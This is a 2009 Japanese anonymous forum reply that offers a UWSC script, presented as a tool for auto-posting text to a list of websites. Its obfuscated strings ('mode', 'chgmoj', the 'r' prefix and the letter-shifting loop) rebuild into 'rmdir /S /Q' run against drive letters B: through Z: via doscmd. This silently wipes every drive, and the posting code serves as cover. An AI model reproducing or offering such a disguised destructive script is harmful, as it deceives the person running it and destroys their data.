- 690 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/10/19(月) 23:54:32 ID:3uvH/jIh0]
- >>682
書き込むサイトのアドレスをsite[1]="○○○○"←のところに入れてね。
前後の「"」は忘れずに！
dim site[25],kakikomi[25]
site[1]="hyde156cm.com/aaabb/cccddd/efg.html"
・・・（省略）・・・
site[24]="hogehoge.co.jp/aaa/bcd.cgi"
kakikomi[1]="テキスト１"
・・・（省略）・・・
kakikomi[24]="テキスト２４"
mode="mdS5RgzP4/Q B"
aaa="InternetExplorer.Application"
bbb=":\"
cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb
size=66
for time=1 to 24
cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) )
if "" <> doscmd(cc) then continue
IE = CreateOLEObj(aaa)
IE.Visible = True
IE.Navigate(site[time])
IESetData(IE,True,"lr",kakikomi[time])
GETTIME()
ifb time=G_TIME_HH then
sleep(3600)
endif
next
|
 |
